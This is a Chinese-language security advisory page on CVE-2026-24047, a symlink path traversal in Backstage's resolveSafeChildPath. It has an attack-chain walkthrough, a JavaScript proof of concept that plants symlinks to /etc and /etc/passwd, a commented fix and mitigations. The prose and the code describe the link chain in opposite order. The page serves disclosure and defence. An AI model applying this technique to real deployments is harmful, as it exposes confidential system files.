IPBUF安全漏洞报告
English
CVE-2026-24047 CVSS 6.3 中危

CVE-2026-24047 Backstage resolveSafeChildPath符号链接路径遍历漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-24047
漏洞类型
路径遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
@backstage/backend-plugin-api, @backstage/cli-common, Backstage

相关标签

路径遍历符号链接BackstageCVE-2026-24047开发者门户文件操作安全中间件漏洞

漏洞概述

CVE-2026-24047是Backstage框架中的一个中等严重性安全漏洞,影响@backstage/backend-plugin-api和@backstage/cli-common组件。Backstage是Spotify开源的用于构建开发者门户的框架。该漏洞存在于resolveSafeChildPath工具函数中,该函数本应用于防止路径遍历攻击,但在处理符号链接时存在安全缺陷。攻击者可以通过创建符号链接链或悬空符号链接来绕过路径验证机制,访问受限制目录外的文件。此漏洞影响Scaffolder actions和其他后端组件的文件操作安全,可能导致敏感信息泄露。CVSS评分6.3,属于中等严重级别,主要风险在于机密性影响。

技术细节

该漏洞的根本原因在于resolveSafeChildPath函数缺乏对符号链接的充分验证。函数在检查路径安全性时,没有递归解析中间符号链接的目标地址。攻击者可以利用两种方式利用此漏洞:1) 符号链接链攻击:创建link1指向link2,link2再指向/outside目录,由于函数只检查直接子路径而不递归解析,最终允许访问base目录外的文件。2) 悬空符号链接攻击:创建指向不存在路径的符号链接,该路径在后续文件操作时会被创建,从而绕过初始的路径验证。resolveSafeChildPath函数被Scaffolder actions和其他后端组件广泛用于确保文件操作限制在指定目录内,但符号链接验证的缺失使其防护机制失效。攻击者需要低权限即可利用此漏洞,无需用户交互即可通过网络发起攻击。

攻击链分析

STEP 1
1
攻击者在Backstage工作目录中创建隐藏目录(如.attack),用于存放恶意符号链接
STEP 2
2
创建符号链接链:link1指向link2,link2指向base目录外的敏感路径(如/etc或/root)
STEP 3
3
或创建悬空符号链接,直接指向base目录外的文件路径
STEP 4
4
通过Scaffolder action或其他文件操作功能,使用resolveSafeChildPath处理包含符号链接的路径
STEP 5
5
由于resolveSafeChildPath只检查最终解析路径是否在base目录内,不检查符号链接链,路径验证被绕过
STEP 6
6
攻击者成功读取或操作base目录外的敏感文件,导致机密信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-24047 Proof of Concept - Symlink Path Traversal // Target: Backstage resolveSafeChildPath function const fs = require('fs'); const path = require('path'); // Simulating the vulnerable resolveSafeChildPath function function vulnerableResolveSafeChildPath(basePath, userInput) { // This implementation fails to check symlink chains properly const resolved = path.resolve(basePath, userInput); // Only checks if resolved path starts with basePath // Does NOT resolve intermediate symlinks if (!resolved.startsWith(basePath)) { throw new Error('Path traversal detected'); } return resolved; } // Attack scenario 1: Symlink chain function attackSymlinkChain() { const baseDir = '/app/workspace'; const attackDir = '/app/workspace/.attack'; // Create attack directory structure fs.mkdirSync(attackDir, { recursive: true }); // Create symlink chain: link1 -> link2 -> /etc fs.symlinkSync('/etc', path.join(attackDir, 'link1')); // First link fs.symlinkSync(path.join(attackDir, 'link1'), path.join(attackDir, 'link2')); // Chain try { // This should be blocked but bypasses validation const maliciousPath = vulnerableResolveSafeChildPath( baseDir, '.attack/link2/passwd' ); console.log('[+] Path traversal successful:', maliciousPath); return true; } catch (e) { console.log('[-] Attack blocked:', e.message); return false; } } // Attack scenario 2: Dangling symlink function attackDanglingSymlink() { const baseDir = '/app/workspace'; const attackDir = '/app/workspace/.attack'; fs.mkdirSync(attackDir, { recursive: true }); // Create dangling symlink pointing outside base directory fs.symlinkSync('/etc/passwd', path.join(attackDir, 'dangling')); try { const maliciousPath = vulnerableResolveSafeChildPath( baseDir, '.attack/dangling' ); console.log('[+] Dangling symlink bypass successful:', maliciousPath); return true; } catch (e) { console.log('[-] Attack blocked:', e.message); return false; } } // Execute PoC console.log('=== CVE-2026-24047 PoC ==='); attackSymlinkChain(); attackDanglingSymlink(); /* Fix: Use path.resolve with realpath or proper symlink resolution function fixedResolveSafeChildPath(basePath, userInput) { const baseReal = fs.realpathSync(basePath); // Resolve all symlinks const resolved = fs.realpathSync(path.join(basePath, userInput)); if (!resolved.startsWith(baseReal)) { throw new Error('Path traversal detected'); } return resolved; } */

影响范围

@backstage/backend-plugin-api < 0.1.17
@backstage/cli-common (all versions prior to fix)
Backstage (affected components)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 将Backstage运行在容器化环境中,限制文件系统访问权限;2) 限制模板创建功能仅对可信用户开放;3) 使用AppArmor或SELinux等强制访问控制机制限制进程的文件系统访问范围;4) 监控和审计文件创建操作,检测异常的符号链接活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表